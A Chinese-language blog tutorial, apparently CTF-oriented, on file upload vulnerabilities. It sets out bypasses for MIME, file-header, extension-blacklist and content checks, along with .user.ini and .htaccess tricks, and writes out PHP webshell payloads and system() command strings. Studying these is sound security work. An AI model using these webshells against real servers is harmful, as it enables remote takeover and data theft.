檔案上傳漏洞思路詳解

星海河發表於2024-09-20

1. 檔案上傳漏洞簡介

1.1 什麼是檔案上傳漏洞

檔案上傳漏洞是一種常見的Web應用程式漏洞,攻擊者可以透過向目標伺服器上傳惡意檔案來實現攻擊目的。這類漏洞的產生通常是因為伺服器沒有對使用者上傳的檔案進行充分的安全檢查和驗證。

1.2 檔案上傳漏洞有哪些危害

1. 惡意程式碼執行

攻擊者上傳帶有惡意程式碼的檔案(如 .php.jsp 等動態指令碼檔案),伺服器可能會直接執行這些檔案中的惡意程式碼,導致遠端程式碼執行(RCE)。

2. Webshell 攻擊

攻擊者透過上傳 Webshell(Web 後門)檔案,獲得對伺服器的控制權。Webshell 允許攻擊者在伺服器上執行命令,檢視、修改檔案,甚至獲取系統許可權。

3. 資訊洩露

在某些情況下,攻擊者可能上傳惡意檔案(如影像檔案),然後透過這些檔案來推斷伺服器的配置,或利用其他漏洞提取敏感資訊。

4. 拒絕服務(DoS)

攻擊者上傳大檔案,消耗伺服器的儲存資源,導致伺服器資源耗盡,影響正常服務。

2. 檔案上傳漏洞利用思路

要理解檔案上傳漏洞的進攻思路,首先要明白都會有哪些方式來防止惡意的檔案上傳,從而有依據的繞過這些防守,從而實現漏洞的利用。

2.1 檔案格式驗證繞過

1. 前端檢測

在上傳檔案時,前端只會允許上傳特定字尾的檔案,例如png、jpg、gif等,可以透過如下程式碼實現

<input type="file" accept=".jpg,.png,.gif">

畢竟檢驗在前端,可以直接F12修改js程式碼;或者先上傳被允許的檔案,發包後利用burp再篡改檔名與裡面的內容。這裡推薦第二種方式,因為這樣就不需要再去篡改MIME值了。

2. MIME檢測——篡改資料包

後端內建的檔案資訊操作函式可以用來獲取檔案的 MIME 型別,從而限制檔案型別,常見的圖片MIME有image/jpeg,image/png,image/gif等。
MIME 型別的獲取一般是透過HTTP資料包中的 Content-Type 頭部欄位來完成。在檔案上傳過程中,客戶端(瀏覽器或其他工具)會透過 Content-Type 頭部欄位告知伺服器檔案的MIME型別。因此我們可以透過burpsuite修改資料包content-type來繞過檢驗。

3. 檔案頭驗證——篡改識別符號

檔案頭驗證是一種透過檢查檔案頭部資訊(即檔案的前幾個位元組)來判斷檔案型別的技術。例如,當你用記事本開啟一張jpg格式的圖片,會出現FF D8 FF E0的識別符號,這與jpg格式對應。因而可以利用檔案頭驗證檢測出檔案的真實型別。

繞過它的方式也很簡單,只要在上傳的檔案的內容前新增一個允許的識別符號即可繞過。一般來說,允許格式為圖片時,新增GIF89a即可繞過。

4. 字尾黑名單

後端還可能透過黑名單的形式對字尾進行過濾,可以透過多以下方法繞過:

  • 後端可能將php進行刪除,透過雙寫為phphpp,使得被刪除後仍組成php
  • 變異副檔名繞過:很多伺服器和程式語言(例如 PHP)不僅僅支援 .php 作為 PHP 檔案的副檔名,還支援其他變體的副檔名,例如:.php3 .php4 .php5 .phtml
  • 多字尾解析:Apache 伺服器通常使用最後一個副檔名作為解析依據。IIS 伺服器可能根據第一個副檔名或不同的策略來解析。可以透過在檔名中新增多個副檔名(如malicious.php.jpgshell.jpg.php),繞過前端和後端的安全檢查,從而上傳惡意檔案。
  • 00截斷:利用字串終止符(空位元組,\x00)繞過檔案上傳中的副檔名檢查或路徑處理漏洞。例如,可以構造一個檔名為 shell.php\x00.jpg。如果後端程式碼在處理檔名時,遇到 \x00 截斷符,那麼伺服器會將檔名解析為 shell.php,但系統認為它是一個 .jpg 檔案,從而允許檔案上傳。

5. 小結

基於以上驗證與繞過,我們一般有這樣的思路:上傳符合條件的圖片,burp抓包傳送到repeater模組,修改檔名為php字尾,新增檔案識別符號,寫入後門程式碼,發包嘗試去繞過黑名單,從而將後門程式碼上傳到服務端。
值得一提的是,我們必須要上傳含後門的php檔案,而非含後門的圖片,因為圖片中的php程式碼是不會被解析並執行的。

<?php eval($_POST['x']);?>

6. 後門程式碼的利用

上傳成功後,按F12檢視檔案上傳地址,找到與上傳的後門同目錄的php檔案

hackbar

x=system('ls -l -a -h'); 詳細顯示當前目錄 
x=system('ls -lha ../'); 詳細顯示上級目錄
x=system('tac ../flag.php');


蟻劍
蟻劍的安裝請自行搜尋
右鍵介面,新增資料,寫入有後門程式碼的地址,輸入密碼(即我們上傳的後門程式碼中post的引數),點選測試連線,成功後點選新增,然後進入資料即可看到伺服器的目錄與檔案。

2.2 .user.ini

1. .user.ini簡介

.user.iniphp的一種配置檔案,這個設定可以告訴PHP直譯器在解釋每個使用者請求的PHP檔案之前自動包含一個指定的檔案,即auto_prepend_file所指定的檔案。因此我們可以有這樣的思路:上傳含有後門的圖片,利用.user.ini將後門程式碼包含到php檔案中。
值得注意的是,由於.user.ini是向當前資料夾中php檔案自動包含圖片,因此必須保證當前資料夾有php檔案,我們去訪問這個php檔案,才能用hackbar傳參或者用蟻劍連線

2. 上傳.user.ini

修改檔名為.user.ini,寫入以下程式碼。

auto_prepend_file=hack.png

![[Pasted image 20240920103953.png]]

3. 上傳後門圖片

修改檔名為圖片格式,寫入後門程式碼。

<?php eval($_POST['x']);?>

4. 後門程式碼利用

與上一小節相同,不再贅述。

2.3 .htaccess

1. .htaccess簡介

.htaccess 是 Apache HTTP 伺服器中一種配置檔案,用於針對特定目錄進行區域性配置。其全稱為 "Hypertext Access",.htaccess 檔案通常位於 Web 伺服器的某個目錄中,能夠覆蓋 Apache 主配置檔案 httpd.conf 的全域性設定。透過 .htaccess 檔案,可以透過檔案解析配置,將png字尾的檔案解析成php。

AddType application/x-httpd-php .png

2. 如何利用

.htaccess的利用方式與.user.ini相近,此處不詳細演示。
上傳.htaccess

AddType application/x-httpd-php .png

上傳hack.png

<?php eval($_POST['x']);?>

訪問hack.png即可連上後門

2.4 內容過濾

後端還可以透過檢查檔案的內容來限制惡意的檔案上傳

1. <?php過濾&短標籤&其他語言&大小寫繞過

後端透過限制php程式碼的固定格式,來避免檔案中包含惡意的內容。
利用短標籤繞過

<?=表示式?>                                    //不需要配置引數
<?=eval($_POST['x']);?>

換用js語言繞過

<script language="php">echo '1';</script>     //不需要配置引數
<script language="php">eval($_POST['x']);</script>

利用大小寫繞過

<?PhP eval($_POST['x']);?>

2. []過濾&換{}

後端透過過濾[]符號來限制php中某些函式的使用,從而限制惡意的檔案上傳
php支援把[]換成{},下方的後門程式碼同樣可以使用

<?php eval($_POST{'x'});?>

3. 嚴格過濾&惡意程式碼執行

當對於後門程式碼的過濾過於嚴格時,可以嘗試直接執行php來獲得想要的內容。上傳php惡意程式碼的思路與2.1&2.2相同。
常用的惡意程式碼如下,system() 函式用於在 PHP 中執行作業系統級別的命令,並將輸出直接返回到瀏覽器。:

<php system('ls -lha');?>         //檢視當前目錄檔案
<php system('ls -lha ../');?>     //檢視上級目錄檔案
<php system('tac ../flag.php');?> //顯示flag.php的內容

<?php過濾&短標籤&其他語言&大小寫

<=system('ls -lha');?>         //檢視當前目錄檔案

()過濾&反引號繞過
反引號語法:在 PHP 中,使用反引號 `command` 的方式可以執行 shell 命令,並將命令的輸出作為字串返回

<?=`tac ../f*`?>

宇宙安全宣告

本部落格所提供的內容僅供學習與交流,旨在提高網路安全技術水平,謹遵守國家相關法律法規,請勿用於違法用途,博主不對任何人因使用部落格中提到的技術或工具而產生的任何後果負責。如果您對文章內容有疑問,可以留言私信。

相關文章